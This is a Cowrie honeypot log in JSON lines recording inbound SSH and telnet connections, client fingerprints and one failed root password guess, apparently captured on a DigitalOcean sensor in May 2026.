{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:01.814287Z","src_ip":"213.209.159.158","session":"63a3bb9258cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:01.817946Z","src_ip":"213.209.159.158","session":"63a3bb9258cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:02.002593Z","src_ip":"38.137.11.14","session":"72bf120fedef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56410,"dst_ip":"159.203.135.109","dst_port":23,"session":"a46fadc4b031","protocol":"telnet","message":"New connection: 162.55.233.176:56410 (159.203.135.109:23) [session: a46fadc4b031]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:02.293015Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56426,"dst_ip":"159.203.135.109","dst_port":23,"session":"9065fd223a0a","protocol":"telnet","message":"New connection: 162.55.233.176:56426 (159.203.135.109:23) [session: 9065fd223a0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:02.332442Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56404,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f2f7f98354c","protocol":"telnet","message":"New connection: 162.55.233.176:56404 (159.203.135.109:23) [session: 8f2f7f98354c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:02.393079Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56428,"dst_ip":"159.203.135.109","dst_port":23,"session":"888ffe58fb8a","protocol":"telnet","message":"New connection: 162.55.233.176:56428 (159.203.135.109:23) [session: 888ffe58fb8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:02.410786Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56438,"dst_ip":"159.203.135.109","dst_port":23,"session":"d1c3fb0e6ed4","protocol":"telnet","message":"New connection: 162.55.233.176:56438 (159.203.135.109:23) [session: d1c3fb0e6ed4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:02.654694Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":60504,"dst_ip":"10.17.0.5","dst_port":23,"session":"475189312d02","protocol":"telnet","message":"New connection: 188.208.141.113:60504 (10.17.0.5:23) [session: 475189312d02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:02.849443Z"}
{"eventid":"cowrie.session.closed","duration":31.416903972625732,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:03.723629Z","src_ip":"162.55.233.176","session":"f1f8f14e5f7d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":53406,"dst_ip":"159.203.135.109","dst_port":23,"session":"4228193db8bd","protocol":"telnet","message":"New connection: 162.55.233.176:53406 (159.203.135.109:23) [session: 4228193db8bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:04.243936Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":53410,"dst_ip":"159.203.135.109","dst_port":23,"session":"afa722428db8","protocol":"telnet","message":"New connection: 162.55.233.176:53410 (159.203.135.109:23) [session: afa722428db8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:04.306770Z"}
{"eventid":"cowrie.session.closed","duration":37.56311082839966,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:04.566118Z","src_ip":"162.55.233.176","session":"9d8931e7a3c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.26513433456421,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:06.748914Z","src_ip":"162.55.233.176","session":"1e593ec8048e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.99877119064331,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:06.961938Z","src_ip":"162.55.233.176","session":"03c35e45a03d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":53416,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a85f6093e63","protocol":"telnet","message":"New connection: 162.55.233.176:53416 (159.203.135.109:23) [session: 4a85f6093e63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:07.683545Z"}
{"eventid":"cowrie.session.closed","duration":37.936524391174316,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:07.751823Z","src_ip":"162.55.233.176","session":"b1dac72eb3ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":53422,"dst_ip":"159.203.135.109","dst_port":23,"session":"95a4d52cbf99","protocol":"telnet","message":"New connection: 162.55.233.176:53422 (159.203.135.109:23) [session: 95a4d52cbf99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:07.800590Z"}
{"eventid":"cowrie.session.closed","duration":31.263160467147827,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:07.953284Z","src_ip":"162.55.233.176","session":"f69d68349b54","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":53436,"dst_ip":"159.203.135.109","dst_port":23,"session":"0acea555fbf2","protocol":"telnet","message":"New connection: 162.55.233.176:53436 (159.203.135.109:23) [session: 0acea555fbf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:08.185698Z"}
{"eventid":"cowrie.session.closed","duration":34.320892095565796,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:08.669513Z","src_ip":"162.55.233.176","session":"9ea24990ea44","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":53444,"dst_ip":"159.203.135.109","dst_port":23,"session":"517948e303be","protocol":"telnet","message":"New connection: 162.55.233.176:53444 (159.203.135.109:23) [session: 517948e303be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:09.090526Z"}
{"eventid":"cowrie.session.closed","duration":33.67995095252991,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:09.368400Z","src_ip":"162.55.233.176","session":"930c0670109f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"volleyba","message":"login attempt [root/volleyba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:10.614777Z","src_ip":"213.209.159.158","session":"63a3bb9258cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":53458,"dst_ip":"159.203.135.109","dst_port":23,"session":"842d80482e4e","protocol":"telnet","message":"New connection: 162.55.233.176:53458 (159.203.135.109:23) [session: 842d80482e4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:10.963760Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":53468,"dst_ip":"159.203.135.109","dst_port":23,"session":"02ee8509b492","protocol":"telnet","message":"New connection: 162.55.233.176:53468 (159.203.135.109:23) [session: 02ee8509b492]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:11.623789Z"}
{"eventid":"cowrie.session.closed","duration":38.092077016830444,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:11.642974Z","src_ip":"162.55.233.176","session":"60582b69d8a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.610477924346924,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:11.714125Z","src_ip":"162.55.233.176","session":"6d9ae2ab3e80","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":53474,"dst_ip":"159.203.135.109","dst_port":23,"session":"f8e84f46d618","protocol":"telnet","message":"New connection: 162.55.233.176:53474 (159.203.135.109:23) [session: f8e84f46d618]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:11.727498Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":53488,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a6eed653f94","protocol":"telnet","message":"New connection: 162.55.233.176:53488 (159.203.135.109:23) [session: 5a6eed653f94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:11.807148Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":53496,"dst_ip":"159.203.135.109","dst_port":23,"session":"60529dcea529","protocol":"telnet","message":"New connection: 162.55.233.176:53496 (159.203.135.109:23) [session: 60529dcea529]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:12.081456Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":53498,"dst_ip":"159.203.135.109","dst_port":23,"session":"1fdf6bbd5153","protocol":"telnet","message":"New connection: 162.55.233.176:53498 (159.203.135.109:23) [session: 1fdf6bbd5153]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:12.652969Z"}
{"eventid":"cowrie.session.closed","duration":30.890559911727905,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:12.720506Z","src_ip":"162.55.233.176","session":"ffcf80f3a8f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.866287231445312,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:12.781791Z","src_ip":"162.55.233.176","session":"914d46c2a1ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33464,"dst_ip":"159.203.135.109","dst_port":23,"session":"b32f9369f186","protocol":"telnet","message":"New connection: 162.55.233.176:33464 (159.203.135.109:23) [session: b32f9369f186]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:13.002509Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33478,"dst_ip":"159.203.135.109","dst_port":23,"session":"e338d180f455","protocol":"telnet","message":"New connection: 162.55.233.176:33478 (159.203.135.109:23) [session: e338d180f455]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:13.111569Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33490,"dst_ip":"159.203.135.109","dst_port":23,"session":"18c4b221632b","protocol":"telnet","message":"New connection: 162.55.233.176:33490 (159.203.135.109:23) [session: 18c4b221632b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:13.325111Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33506,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf6e1ce0c825","protocol":"telnet","message":"New connection: 162.55.233.176:33506 (159.203.135.109:23) [session: cf6e1ce0c825]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:13.371323Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":55824,"dst_ip":"10.17.0.5","dst_port":23,"session":"285798d9df27","protocol":"telnet","message":"New connection: 188.208.141.113:55824 (10.17.0.5:23) [session: 285798d9df27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:13.774040Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33526,"dst_ip":"159.203.135.109","dst_port":23,"session":"6fc36b7abe39","protocol":"telnet","message":"New connection: 162.55.233.176:33526 (159.203.135.109:23) [session: 6fc36b7abe39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:14.229503Z"}
{"eventid":"cowrie.session.closed","duration":"14.5","message":"Connection lost after 14.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:14.283910Z","src_ip":"213.209.159.158","session":"63a3bb9258cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33538,"dst_ip":"159.203.135.109","dst_port":23,"session":"c983cb8a242b","protocol":"telnet","message":"New connection: 162.55.233.176:33538 (159.203.135.109:23) [session: c983cb8a242b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:14.361115Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":13744,"dst_ip":"10.17.0.5","dst_port":22,"session":"7534a2fdd37b","protocol":"ssh","message":"New connection: 213.209.159.158:13744 (10.17.0.5:22) [session: 7534a2fdd37b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:14.381971Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33510,"dst_ip":"159.203.135.109","dst_port":23,"session":"b35b86b1d058","protocol":"telnet","message":"New connection: 162.55.233.176:33510 (159.203.135.109:23) [session: b35b86b1d058]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:14.839344Z"}
{"eventid":"cowrie.session.closed","duration":31.76644778251648,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:14.920713Z","src_ip":"162.55.233.176","session":"657393781a96","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.497620582580566,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:15.478326Z","src_ip":"162.55.233.176","session":"4a92d9bad67f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.20576024055481,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:15.866200Z","src_ip":"162.55.233.176","session":"0a4c9ff8859a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.85442900657654,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:16.012536Z","src_ip":"162.55.233.176","session":"70a45954f6d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.527108907699585,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:16.016832Z","src_ip":"162.55.233.176","session":"eeec17e4a490","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33564,"dst_ip":"159.203.135.109","dst_port":23,"session":"e327325e5086","protocol":"telnet","message":"New connection: 162.55.233.176:33564 (159.203.135.109:23) [session: e327325e5086]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:16.186058Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33550,"dst_ip":"159.203.135.109","dst_port":23,"session":"c6a822a5ad2b","protocol":"telnet","message":"New connection: 162.55.233.176:33550 (159.203.135.109:23) [session: c6a822a5ad2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:16.235508Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33574,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f3c19a40857","protocol":"telnet","message":"New connection: 162.55.233.176:33574 (159.203.135.109:23) [session: 1f3c19a40857]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:16.457036Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:16.543756Z","src_ip":"213.209.159.158","session":"7534a2fdd37b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:16.549035Z","src_ip":"213.209.159.158","session":"7534a2fdd37b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.86280536651611,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:16.761682Z","src_ip":"162.55.233.176","session":"b35fb966b320","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.04441022872925,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:16.820188Z","src_ip":"188.208.141.113","session":"7598dfa5f580","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"138.255.230.135","src_port":41957,"dst_ip":"159.203.135.109","dst_port":23,"session":"7eccc54c6d8c","protocol":"telnet","message":"New connection: 138.255.230.135:41957 (159.203.135.109:23) [session: 7eccc54c6d8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:17.159885Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33578,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae25b02e410a","protocol":"telnet","message":"New connection: 162.55.233.176:33578 (159.203.135.109:23) [session: ae25b02e410a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:17.549425Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":55826,"dst_ip":"10.17.0.5","dst_port":23,"session":"2801e3f63370","protocol":"telnet","message":"New connection: 188.208.141.113:55826 (10.17.0.5:23) [session: 2801e3f63370]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:17.851592Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33586,"dst_ip":"159.203.135.109","dst_port":23,"session":"c965f6b79625","protocol":"telnet","message":"New connection: 162.55.233.176:33586 (159.203.135.109:23) [session: c965f6b79625]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:18.220987Z"}
{"eventid":"cowrie.session.closed","duration":30.594821214675903,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:18.440295Z","src_ip":"162.55.233.176","session":"4b46abac6024","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33596,"dst_ip":"159.203.135.109","dst_port":23,"session":"5b1d81da421d","protocol":"telnet","message":"New connection: 162.55.233.176:33596 (159.203.135.109:23) [session: 5b1d81da421d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:19.655451Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33606,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f32251d7e52","protocol":"telnet","message":"New connection: 162.55.233.176:33606 (159.203.135.109:23) [session: 3f32251d7e52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:19.930367Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33614,"dst_ip":"159.203.135.109","dst_port":23,"session":"4dedd3799a83","protocol":"telnet","message":"New connection: 162.55.233.176:33614 (159.203.135.109:23) [session: 4dedd3799a83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:19.985351Z"}
{"eventid":"cowrie.session.closed","duration":35.65636348724365,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:20.010827Z","src_ip":"162.55.233.176","session":"03d4852e775f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33592,"dst_ip":"159.203.135.109","dst_port":23,"session":"565940ecbe55","protocol":"telnet","message":"New connection: 162.55.233.176:33592 (159.203.135.109:23) [session: 565940ecbe55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:20.023280Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33622,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec5f48e1612b","protocol":"telnet","message":"New connection: 162.55.233.176:33622 (159.203.135.109:23) [session: ec5f48e1612b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:20.243887Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33624,"dst_ip":"159.203.135.109","dst_port":23,"session":"33dbc908b599","protocol":"telnet","message":"New connection: 162.55.233.176:33624 (159.203.135.109:23) [session: 33dbc908b599]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:21.535442Z"}
{"eventid":"cowrie.session.closed","duration":31.198638916015625,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:21.870306Z","src_ip":"162.55.233.176","session":"05241dcd5aa7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33638,"dst_ip":"159.203.135.109","dst_port":23,"session":"7255c3d6d5e0","protocol":"telnet","message":"New connection: 162.55.233.176:33638 (159.203.135.109:23) [session: 7255c3d6d5e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:22.036011Z"}
